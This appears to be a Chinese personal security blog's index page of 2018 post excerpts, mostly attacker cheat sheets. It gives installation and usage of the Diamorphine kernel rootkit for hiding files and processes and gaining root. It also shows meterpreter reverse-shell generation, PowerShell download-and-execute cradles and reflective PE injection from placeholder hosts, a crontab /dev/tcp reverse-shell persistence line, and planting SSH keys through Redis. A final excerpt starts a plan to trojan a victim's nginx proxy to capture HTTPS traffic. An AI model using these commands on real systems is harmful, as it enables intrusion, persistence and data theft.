wubba lubba dub dub.
post @ 2018-07-18

https://github.com/m0nad/Diamorphine,支持内核2.6.x/3.x/4.x

编译安装:

git clone https://github.com/m0nad/Diamorphine
cd Diamorphine
make
insmod diamorphine.ko

diamorphine.h里面定义了MAGIC_PREFIX, 可以自己修改为任意其他东西,比如xx,然后以xx为开头的文件就回全部隐身啦

kill -63 0  隐藏(显示) rootkit模块
rmmod diamorphine   删除rootkit
kill -64 0  从任意用户切换到root用户
kill -31 <pid> 隐藏<pid>的进程
Read More
post @ 2018-07-05

根据不同的操作系统,一个进程可能被分配到不同内存区域中执行,但是不管什么样的系统,什么样的计算机结构,进程使用的内存可以按照功能分为4个部分:

  1. 代码区:可执行指令
  2. 数据区:用于存储全局变量
  3. 堆区:进程可以在堆区动态的请求一定大小内存,并在用完之后归还给堆区。动态分布和回收是堆区的特点
  4. 栈区:用于动态的存储函数之间的调用关系,以保证被调用函数返回时恢复到母函数中继续执行

程序中使用的缓冲区可以在堆区、栈区、数据区,不同地方的缓冲区利用方式不同。

内存中的栈区指的就是系统栈,由系统自动维护。

栈时FILO结构,所以栈顶指的是最下方,底部是最上方。

  • %esp 指向栈的顶部(栈指针寄存器,存放一个指针,永远指向系统栈最上面栈帧的栈顶)
  • %ebp 指向栈的底部
  • %eip 用来存储即将执行的程序指令的地址
  • Frame Pointer(FP) Or Base Pointer(BP), Stack Pointer(SP)
  • 函数栈帧:ESP和EBP之间内存空间为当前栈帧

32位x86架构下的通用寄存器包括一般寄存器(eax、ebx、ecx、edx),索引寄存器(esi、edi),以及堆栈指针寄存器(esp,ebp)

  • eax: 累加寄存器(Accumulator),用以进行算数运算和返回函数结果等。
  • ebx: 被称为基址寄存器(Base),在内存寻址的时候用来存放基地址。
  • exc: 被称为计数寄存器(Counter),用以在循环中计数。
  • edx: 被称为数据寄存器(Data),常配合eax一起存放运算结果等数据。

栈操作(在32位下):

  • push(压栈) push sth -> [esp]=sth, esp=esp-4
  • pop (出栈) pop sth -> sth=[esp], esp=esp+4
Read More
post @ 2018-06-13
反弹123端口的powershell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x. LPORT=123 -f psh-reflection >123.ps1
powershell.exe -exec Bypass -nop -c "IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/123.ps1')"


端口扫描:
powershell -exec bypass -c "444..446 | % {echo ((new-object Net.Sockets.TcpClient).Connect('x.x.x.x',$_)) "Port $_ is open!"} 2>$null"

自定义端口和IP
1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.1.$a",$_)) "Port $_ is open!"} 2>$null}


1..20 | % { $a = $_; write-host "------"; write-host "192.168.1.$a"; 22,53,80,445 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.$a",$_)) "Port $_ is open!"} 2>$null}
169..171 | % { $a = $_; write-host "------"; write-host "103.27.177.$a"; 445 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.$a",$_)) "Port $_ is open!"} 2>$null}



powershell.exe -exec Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -enc xxx

内存加载运行:
powershell.exe -exec bypass -nop -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://x.x.x.x/2.exe -ExeArgs 'whoami' -ForceASLR" 


下载文件:
(New-Object System.Net.Webclient).DownloadFile("http://x.x.x.x/k.aspx","")

在使用msf生成ps的payload的时候,对于生成的文件格式是hta-psh解码顺序是这样的,对于其中的base64编码,先正常的base64解码,然后提取解码之后中的base64,保存为1.txt,使用如下脚本解码:

python decode.py 1.txt

#/usr/bin/env python
# coding:utf-8

import base64
import gzip
import StringIO
import sys

f = sys.argv[1]
with open(f, "rb") as file:
    data = file.read()

decoded=base64.b64decode(data)
res = StringIO.StringIO(decoded)
for i in gzip.GzipFile(fileobj=res):
    print i
Read More
post @ 2018-06-05

内网定时反弹:

(crontab -l;printf "* * * * * exec 9<> /dev/tcp/x.x.x.x/xx;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

上面反弹之后,在centos下面,如果没有监听shell的情况下,终端一直会有you have an email in /var/spool/root, 解决方法如下:

echo "unset MAILCHECK" >> ~/.bashrc

Redis写私钥

常规操作:

config get dir  //获取当前的目录, 默认: /usr/local/redis
config get dbfilename // 获取当前名字 默认: dump.rdb
config set dir /root/.ssh
config set dbfilename "authorized_keys"
set xx "\n\n pub_key\n\n"
save

之后拿到shell,然后再把dir和dbfilename改回来,顺便把known_hosts给删除掉。

redis查看部分key:

scan 1000 MATCH * COUNT 1000
get [key]
Read More

有一天小明日了一台windows版本nginx的https的反向的代理服务器(这语句不通顺)。。

攻击背景

  • 获取https反向代理服务器的数据请求数据
  • Windows平台

攻击流程

下载openresty和nginx的windows版本,先本地测试一下。

如果直接复制openresty里面的nginx.exe到原汁原味nginx解压包里面,提示缺少dll,没毛病。

把openresty里面的nginx.exe libgcc_s_dw2-1.dll lua51.dll,一起复制到纯天然版本nginx的文件夹里面,启动nginx.exe。

把本地环境搬到目标服务器测试下,没毛病,目标网站的反代正常工作,唯一不正常的就是http的response的header变成了openresty,可以修改openresty源代码。

截取POST数据包

根据P神的文章里面:

Read More
⬆︎TOP